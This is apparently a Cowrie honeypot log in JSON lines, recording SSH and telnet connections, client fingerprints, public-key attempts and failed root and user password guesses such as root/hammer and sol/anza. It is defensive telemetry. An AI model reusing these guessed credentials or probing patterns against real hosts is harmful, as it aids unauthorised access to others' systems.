{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32812,"dst_ip":"10.17.0.5","dst_port":23,"session":"a47defb7c55b","protocol":"telnet","message":"New connection: 192.119.13.58:32812 (10.17.0.5:23) [session: a47defb7c55b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:02.844335Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":50886,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a5d0e33f088","protocol":"ssh","message":"New connection: 38.93.206.2:50886 (10.17.0.5:22) [session: 2a5d0e33f088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:03.001601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:03.009776Z","src_ip":"38.93.206.2","session":"2a5d0e33f088","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:03.061875Z","src_ip":"38.93.206.2","session":"2a5d0e33f088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hammer","message":"login attempt [root/hammer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:03.216798Z","src_ip":"38.93.206.2","session":"2a5d0e33f088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:04.270432Z","src_ip":"38.93.206.2","session":"2a5d0e33f088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.63.58","src_port":48570,"dst_ip":"10.17.0.5","dst_port":22,"session":"77f6b5b389a2","protocol":"ssh","message":"New connection: 199.127.63.58:48570 (10.17.0.5:22) [session: 77f6b5b389a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:04.849636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:04.860314Z","src_ip":"199.127.63.58","session":"77f6b5b389a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:04.900619Z","src_ip":"199.127.63.58","session":"77f6b5b389a2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:58:a6:81:90:5f:bc:16:7a:57:e9:22:e6:dd:18:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUjxX3MecqzoQMqHhUKEptFnbLdJwlKjyYH39Aq0MABuJD4ke+ETVmk/VJ48nwUQ9aO6FoiwWd9DTIr013Nzybmrf4t8zW5Ip/JZ95r1eON6i5G7RYGpMhIJPKDqPf0cRbHA1hozGwic4OfPG+zyZoNWV/ogg0SsmjB9qQ/M2pUUzQ3vlLOFgWTjG/8yCP5E34CpGgLNF0ZCMR1wjRJRmZfPrFslwOq5AKTsI0OwKagEoqUP0dgnpIip59MtRf8TPOczCcqox3YElyxkl3pU5J30ppweMbgQvld2MxsNSD7zwspEm4REKOh9RSEuRkzUkc79Z1Ep1mbdTKpcvzReF9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:58:a6:81:90:5f:bc:16:7a:57:e9:22:e6:dd:18:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:05.061510Z","src_ip":"199.127.63.58","session":"77f6b5b389a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:58:a6:81:90:5f:bc:16:7a:57:e9:22:e6:dd:18:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUjxX3MecqzoQMqHhUKEptFnbLdJwlKjyYH39Aq0MABuJD4ke+ETVmk/VJ48nwUQ9aO6FoiwWd9DTIr013Nzybmrf4t8zW5Ip/JZ95r1eON6i5G7RYGpMhIJPKDqPf0cRbHA1hozGwic4OfPG+zyZoNWV/ogg0SsmjB9qQ/M2pUUzQ3vlLOFgWTjG/8yCP5E34CpGgLNF0ZCMR1wjRJRmZfPrFslwOq5AKTsI0OwKagEoqUP0dgnpIip59MtRf8TPOczCcqox3YElyxkl3pU5J30ppweMbgQvld2MxsNSD7zwspEm4REKOh9RSEuRkzUkc79Z1Ep1mbdTKpcvzReF9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:05.066197Z","src_ip":"199.127.63.58","session":"77f6b5b389a2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:26:c9:93:74:64:99:12:4a:0b:2f:7c:ef:8f:a1:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmcCARNZdrsES80442PWvHAe8eJ66u3BxyWLTC7F/ajm9bylQlKyja9ptAXTYnP02ckER5gx4CNr/DTiz9Vz/jJVPKcCMnj+5X3kMfKU5K1DSimkIPbmvDEC9jiNX8aBJecpsAcErsJxdCsWtOYZ/VI8wux/Cikt1g+UQHSc2pR/npPYyvxqfXkSqsMM/lAmk3FIUzneiBt2eIBRuKvSbNiFs0osJJC22CO5g0CT+WvG/7lsR2VhFd/BwnvHubXNR3QAbzFw3TR9fVM+J1o8Vfkq7+9NjPK/9DG85408nwAvIuqMeKdTmMCWVGS5eGyvpbWiQVrqkgvWGG0BXozrQ5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:26:c9:93:74:64:99:12:4a:0b:2f:7c:ef:8f:a1:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:05.106421Z","src_ip":"199.127.63.58","session":"77f6b5b389a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:26:c9:93:74:64:99:12:4a:0b:2f:7c:ef:8f:a1:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmcCARNZdrsES80442PWvHAe8eJ66u3BxyWLTC7F/ajm9bylQlKyja9ptAXTYnP02ckER5gx4CNr/DTiz9Vz/jJVPKcCMnj+5X3kMfKU5K1DSimkIPbmvDEC9jiNX8aBJecpsAcErsJxdCsWtOYZ/VI8wux/Cikt1g+UQHSc2pR/npPYyvxqfXkSqsMM/lAmk3FIUzneiBt2eIBRuKvSbNiFs0osJJC22CO5g0CT+WvG/7lsR2VhFd/BwnvHubXNR3QAbzFw3TR9fVM+J1o8Vfkq7+9NjPK/9DG85408nwAvIuqMeKdTmMCWVGS5eGyvpbWiQVrqkgvWGG0BXozrQ5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:05.110504Z","src_ip":"199.127.63.58","session":"77f6b5b389a2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:3f:3c:0b:d5:f1:8b:fe:45:a6:a0:05:13:35:8c:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnDpI3vyfRwTPP4OBQCsl21jyAeO2ezkRpCbnitML9xK/kPkitypKbORq1VLZeFcT0Ow1HlCmVqE5kSyTpo4uWE8xGeURsP04WHeJPZMEMJjBnhJ+SjdPNrbadqUJ5xh4BoBg3Tjae0XFuBPQ5nrzdwyL+yk5Ie9miq8MnBYLPjI1lbG/rEX9hwqrhXqiWH4WQ1JWrZatDXxMm+d3zbLgb7Fj2DIkzuO9r1NK237dWbUWWcvkEOxSSGfcQ30ECV0djJk2baeGRWjfHrlPDp3ncDrQ6stnAAFH5uXeefje9N4SmZkTQmRGr1m/Nn83Tb+Zklr+uhzfs112RlIaJl4DhQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:3f:3c:0b:d5:f1:8b:fe:45:a6:a0:05:13:35:8c:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:05.149440Z","src_ip":"199.127.63.58","session":"77f6b5b389a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:3f:3c:0b:d5:f1:8b:fe:45:a6:a0:05:13:35:8c:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnDpI3vyfRwTPP4OBQCsl21jyAeO2ezkRpCbnitML9xK/kPkitypKbORq1VLZeFcT0Ow1HlCmVqE5kSyTpo4uWE8xGeURsP04WHeJPZMEMJjBnhJ+SjdPNrbadqUJ5xh4BoBg3Tjae0XFuBPQ5nrzdwyL+yk5Ie9miq8MnBYLPjI1lbG/rEX9hwqrhXqiWH4WQ1JWrZatDXxMm+d3zbLgb7Fj2DIkzuO9r1NK237dWbUWWcvkEOxSSGfcQ30ECV0djJk2baeGRWjfHrlPDp3ncDrQ6stnAAFH5uXeefje9N4SmZkTQmRGr1m/Nn83Tb+Zklr+uhzfs112RlIaJl4DhQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:05.155177Z","src_ip":"199.127.63.58","session":"77f6b5b389a2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:24:9d:30:df:67:a4:17:1e:e0:f9:21:a2:1a:8c:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnIYxHaWfukptS/Nm+4VGDxRd48U1YTEKIOEPLJo83qdXPTx4gbiHV8BOy81KC5bveVvW0ja2UJIDzqIvQxheqoXXBJ8zDN/okv2PuPAmFbBKwbBu5oBJ2f+v/NVeEOhLUqAyK5udyVbr5+c02bhrZvzNv/pqShV75xoiSFNwxTD229lu/MRbouRTxnmPSaAFTp9lFOyt/Qe+eM7+JCNfckkGiNqaiDraxOJ83xeKNqDV7352THt4YIhBliDl3KmdK7wFo0yn495gvEpOxNAkFcBDD+72SUFp8b73h6OlY2ZRRgG6aBFGt+4eGU3pAK+iencyWdYFsvclpy3e62AIMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:24:9d:30:df:67:a4:17:1e:e0:f9:21:a2:1a:8c:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:05.196500Z","src_ip":"199.127.63.58","session":"77f6b5b389a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:24:9d:30:df:67:a4:17:1e:e0:f9:21:a2:1a:8c:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnIYxHaWfukptS/Nm+4VGDxRd48U1YTEKIOEPLJo83qdXPTx4gbiHV8BOy81KC5bveVvW0ja2UJIDzqIvQxheqoXXBJ8zDN/okv2PuPAmFbBKwbBu5oBJ2f+v/NVeEOhLUqAyK5udyVbr5+c02bhrZvzNv/pqShV75xoiSFNwxTD229lu/MRbouRTxnmPSaAFTp9lFOyt/Qe+eM7+JCNfckkGiNqaiDraxOJ83xeKNqDV7352THt4YIhBliDl3KmdK7wFo0yn495gvEpOxNAkFcBDD+72SUFp8b73h6OlY2ZRRgG6aBFGt+4eGU3pAK+iencyWdYFsvclpy3e62AIMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:05.200931Z","src_ip":"199.127.63.58","session":"77f6b5b389a2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:91:9c:6c:7d:1f:d9:02:90:f4:5f:a0:e9:40:91:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUaQsuH0IJqvFfQpb0r/UMgCYvtQ2BwbV2dwdGJUivwoPRvZXiAtO6wc7Z1sozsol5+unk8kzJ7FjTuJL/PrxVCIjPqT3j0LqYBgDCkEwBdRzc/Z5xBwuYcBuibWf0NykppvRnADrjINb7cqtusb39AQxWPTtfjJgYJf8XvRAOubadG2zzbmbjBPHs+6fe4UK7zH8eHqUGlscbpm7RWiCpEWknEtJj4SCn1qd4fUk9AFwd1FQo0xe2NEgua/SV7otSWD6IjbjlLoC4dawppyd4yOj6oFHU/1YfaYbw7EHnpG535zbhDb4/FNE9uOoFOG/W7YiZMVOSl8tE96XIrQ1p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:91:9c:6c:7d:1f:d9:02:90:f4:5f:a0:e9:40:91:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:05.239908Z","src_ip":"199.127.63.58","session":"77f6b5b389a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:91:9c:6c:7d:1f:d9:02:90:f4:5f:a0:e9:40:91:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUaQsuH0IJqvFfQpb0r/UMgCYvtQ2BwbV2dwdGJUivwoPRvZXiAtO6wc7Z1sozsol5+unk8kzJ7FjTuJL/PrxVCIjPqT3j0LqYBgDCkEwBdRzc/Z5xBwuYcBuibWf0NykppvRnADrjINb7cqtusb39AQxWPTtfjJgYJf8XvRAOubadG2zzbmbjBPHs+6fe4UK7zH8eHqUGlscbpm7RWiCpEWknEtJj4SCn1qd4fUk9AFwd1FQo0xe2NEgua/SV7otSWD6IjbjlLoC4dawppyd4yOj6oFHU/1YfaYbw7EHnpG535zbhDb4/FNE9uOoFOG/W7YiZMVOSl8tE96XIrQ1p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:05.243810Z","src_ip":"199.127.63.58","session":"77f6b5b389a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:05.282376Z","src_ip":"199.127.63.58","session":"77f6b5b389a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.36231589317322,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:14.033413Z","src_ip":"192.119.13.58","session":"8f924c7b942e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.386855363845825,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:18.037640Z","src_ip":"192.119.13.58","session":"c0dbdd78b11c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.068549394607544,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:22.421076Z","src_ip":"192.119.13.58","session":"c5953c67508a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45144,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a51525bb0c2","protocol":"telnet","message":"New connection: 192.119.13.58:45144 (10.17.0.5:23) [session: 3a51525bb0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:22.480931Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52468,"dst_ip":"10.17.0.5","dst_port":23,"session":"b87cc5d46278","protocol":"telnet","message":"New connection: 192.119.13.58:52468 (10.17.0.5:23) [session: b87cc5d46278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:24.390393Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":37800,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6807021ff83","protocol":"ssh","message":"New connection: 193.32.162.145:37800 (10.17.0.5:22) [session: f6807021ff83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:24.673572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:24.678622Z","src_ip":"193.32.162.145","session":"f6807021ff83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:24.800008Z","src_ip":"193.32.162.145","session":"f6807021ff83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"anza","message":"login attempt [sol/anza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:25.125788Z","src_ip":"193.32.162.145","session":"f6807021ff83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.694599390029907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:25.540798Z","src_ip":"192.119.13.58","session":"88bdb69417bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:26.235858Z","src_ip":"193.32.162.145","session":"f6807021ff83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33030,"dst_ip":"10.17.0.5","dst_port":23,"session":"f57dab90eed0","protocol":"telnet","message":"New connection: 192.119.13.58:33030 (10.17.0.5:23) [session: f57dab90eed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:26.785204Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43104,"dst_ip":"10.17.0.5","dst_port":23,"session":"42e81ceed106","protocol":"telnet","message":"New connection: 192.119.13.58:43104 (10.17.0.5:23) [session: 42e81ceed106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:29.345830Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48852,"dst_ip":"10.17.0.5","dst_port":23,"session":"36267ea2c229","protocol":"telnet","message":"New connection: 192.119.13.58:48852 (10.17.0.5:23) [session: 36267ea2c229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:30.671357Z"}
{"eventid":"cowrie.session.closed","duration":42.662394523620605,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:30.876856Z","src_ip":"192.119.13.58","session":"fa4338b14a5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.16239070892334,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:37.097833Z","src_ip":"192.119.13.58","session":"a3696f59a8e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.44980239868164,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:37.393730Z","src_ip":"192.119.13.58","session":"fc1e1d570e02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48024,"dst_ip":"10.17.0.5","dst_port":23,"session":"0703fc5b6ef6","protocol":"telnet","message":"New connection: 192.119.13.58:48024 (10.17.0.5:23) [session: 0703fc5b6ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:51.700866Z"}
{"eventid":"cowrie.session.closed","duration":49.90524864196777,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:52.749473Z","src_ip":"192.119.13.58","session":"a47defb7c55b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55186,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6adfecb1583","protocol":"telnet","message":"New connection: 192.119.13.58:55186 (10.17.0.5:23) [session: c6adfecb1583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:53.965549Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58692,"dst_ip":"10.17.0.5","dst_port":23,"session":"c14f2471477c","protocol":"telnet","message":"New connection: 192.119.13.58:58692 (10.17.0.5:23) [session: c14f2471477c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:55.168004Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60976,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ac2b0017a81","protocol":"telnet","message":"New connection: 192.119.13.58:60976 (10.17.0.5:23) [session: 5ac2b0017a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:55.929003Z"}
